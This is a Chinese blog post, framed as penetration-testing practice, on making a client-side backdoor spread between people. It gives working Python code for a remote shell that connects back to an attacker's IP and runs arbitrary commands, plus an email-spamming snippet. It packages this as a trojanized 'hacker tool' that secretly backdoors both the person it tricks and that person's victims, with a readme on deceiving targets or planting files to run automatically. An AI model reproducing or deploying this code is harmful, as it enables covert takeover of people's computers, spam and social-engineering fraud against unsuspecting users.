客户端渗透测试练习(插曲1:客户端攻击exploit的自动传播)

#0:网络传播(社会工程学)

社会工程学是一个玄学,主要是要抓住用户的喜好之类的,在实际应用中发挥的效果是不确定的。

#1:邮件

参照这篇文章配置邮箱POP3/SMTP服务,然后在之前的service.py的中(最好是在所有import语句之后)添加如下代码:

import smtplib

html="""
<html>  
  <body>  
    <p> 
       Here is the <a href="http://XXX">software</a> you wanted.
    </p> 
  </body>  
</html>  
"""#此处http://XXX应为service.py在服务器上的链接
sender=input('该程序需要进行身份验证,请输入您的邮箱:')#此处为下载者输入的邮箱
receivers=['XXX@XXX.com']#此处为要发送的邮箱,可以搭配theHarvester进行搜索
smtp=smtplib.SMTP()
smtp.connect('smtp.XXX.com')#此处为之前设置的POP/SMTP邮件服务器的地址
smtp.login('XXX@XXX.com','XXXXXXX')#此处为之前设置的你的邮箱和授权码,或者是从收集信息阶段获得的邮箱,然后照着上面进行配置,然后使用
smtp.sendmail(sender,receivers,html)
smtp.quit()

然后,只要用户运行这个程序,就会让用户输入邮箱,然后用这个邮箱名去发邮件,但实际上用的是你自己控制的邮箱。这是一种相对稳定的方式,但是依然不能保证一定成功,因为即使是免费的邮件解决方案也可以过滤垃圾邮件。那么,有没有更稳当的方法呢?

#2:U盘

本来是想让service.py检测U盘,然将一个自己的副本(该副本不需要任何外部装饰,只需有核心部分(即回连和接受请求,也可以加上邮件部分))拷贝到U盘中,并设置一个autorun.inf(用于自动执行)和autorun.bat(用于复制前面写入U盘的副本和设置开机自启),但是我在尝试和查阅资料后发现几乎所有的Windows(因为autorun.inf只对Windows有效)都默认禁用了autorun.inf,所有就不可能实现想要的效果。

但是还是有别的方法,但是就需要一些硬件知识,而且这个方法只能使用攻击者的U盘,那就是Bad USB(请自行百度该方法)。(如果你能找到方法检测被攻击者的U盘并将其改写为Bad USB并不影响其原有的功能,那么也是可行的)

#3:网络传播+人为因素(还是社会工程学)

现在是网络时代,根据一些调查,很多人会觉得黑客很酷,所以我们可以投其所好,利用这一点来传播我们的exploit。

PS:如果被欺骗者(我们的第一层受害者)或受害者(实为第二层受害者)的电脑没有python3.X,那么需要打包为exe进行分发。

新建一个handout文件夹,把console.py和exploit.py复制进去,略微进行更改,如下

console.py

import socket
import os

def checkip(ip):
    if '.' not in ip:
        return False
    elif ip.count('.')!=3:
        return False
    else:
        flag=True
        ip=ip.split('.')
        for o in ip:
            try:
                on=int(o)
                if on>=0 and on<=255:
                    pass
                else:
                    flag=False
            except:
                flag=False
        return flag

#os.system('start server.exe')
os.system('python server.py')

host=socket.gethostbyname(socket.gethostname())
with open('port.ini','r') as p:
    port=int(p.read())
#port=8080
web=socket.socket()
web.bind((host,port))
web.listen(1)
conn,addr=web.accept()
while True:
    data=conn.recv(1024)
    if data.decode()=='Ready!':
        try:
            conn.sendall(data)
            data=conn.recv(1024)
            if checkip(data.decode()):
                try:
                    d='OK!'
                    rhost=data.decode()
                    rport=8080
                    conn.sendall(d.encode())
                    conn.close()
                    web.close()
                    print('Ready,IP:'+str(rhost))
                    break
                except:
                    pass
        except:
            pass
    else:
        pass

s=socket.socket()
s.connect((rhost,rport))
while True:
    send=input('exploit >')
    s.sendall(send.encode())
    if send=='exit':
        break
    r=s.recv(1024)
    print(r.decode())
s.close()

这个是被欺骗的人要使用的东西,所以还是和我们自己的console差不多。

exploit.py

import socket
import os
import time
import random

#host='127.0.0.1'
host=socket.gethostbyname(socket.gethostname())
port=8090
rhost='192.168.1.102'
rport=8080
s=socket.socket()
while True:
    try:
        s.connect((rhost,rport))
        send='Ready!'
        try:
            s.sendall(send.encode())
            r=s.recv(1024)
            if r.decode()=='Ready!':
                try:
                    s.sendall(str(host).encode())
                    r=s.recv(1024)
                    if r.decode()=='OK!':
                        s.close()
                        break
                    else:
                        pass
                except:
                    time.sleep(30+random.randint(-10,10))
                    continue
            else:
                continue
        except:
            time.sleep(30+random.randint(-10,10))
            continue
    except:
        time.sleep(1)

web=socket.socket()
web.bind((host,port))
web.listen(1)
conn,addr=web.accept()
while True:
    data=conn.recv(1024)
    #print(data.decode())
    if data.decode()=='exit':
        break
    f=os.popen(data.decode())
    d=f.read()
    conn.sendall(d.encode())
    f.close()
conn.close()
web.close()

这个是要在被欺骗者不知情的情况下运行(console.py中有对这个文件的调用)

到这里肯定已经发现有一个port.ini文件,我们新建一个文件,重命名为port.ini,这个是供被欺骗者使用的。

然后再在handout文件夹下新建attk文件夹,里面放一个空的host.ini和exploit.py,内容如下

import socket
import os
import time
import random

host=socket.gethostbyname(socket.gethostname())
port=8080
rhosts=['127.0.0.1']
rports=[8080]
with open('host.ini','r') as h:
    host=h.read()
    hp=host.split(':')
    rhosts.insert(0,hp[0])
    rports.insert(0,int(hp[1]))
s=socket.socket()
for i in range(len(rhosts)):
    while True:
        try:
            s.connect((rhosts[i],rports[i]))
            send='Ready!'
            try:
                s.sendall(send.encode())
                r=s.recv(1024)
                if r.decode()=='Ready!':
                    try:
                        s.sendall(str(host).encode())
                        r=s.recv(1024)
                        if r.decode()=='OK!':
                            s.close()
                            break
                        else:
                            pass
                    except:
                        time.sleep(30+random.randint(-10,10))
                        continue
                else:
                    continue
            except:
                time.sleep(30+random.randint(-10,10))
                continue
        except:
            time.sleep(1)

web=socket.socket()
web.bind((host,port))
web.listen(len(rhosts))
conn,addr=web.accept()
while True:
    data=conn.recv(1024)
    #print(data.decode())
    if data.decode()=='exit':
        break
    f=os.popen(data.decode())
    d=f.read()
    conn.sendall(d.encode())
    f.close()
conn.close()
web.close()

这个可以让受害者的主机同时回连到被欺骗者和攻击者的主机,并同时接收两方的命令。

我们主题完成了,但是如果就这样放出去肯定会有很多人将port.ini和host.ini配置错误,所以我们还有教被欺骗者如何使用这个东西。

新建readme.txt,输入

使用:
首先将想要开放的端口号(一般设为80、8080或443)写入port.ini的第一排
然后将自己电脑的IP和想要对方电脑回连的端口号(于上面的开放的端口号要一致)写入attk/host.ini的第一排,用英文冒号:隔开
然后欺骗对方在电脑上运行attk文件夹下的exploit.py(必须把host.ini一起给他,不然无法回连)或者偷偷将attk文件夹放到别人的电脑上并使其能够自动运行
然后启动console.py,等待回连
一旦看到提示,就说明可以进行操作了
目前支持所有的cmd指令,只支持一个回连

好,我们已经完成了一个可以在人之间传播的exploit,接下来就是对其进行宣传了。

posted @ 2021-03-25 21:14  awcyvan  阅读(92)  评论(0编辑  收藏  举报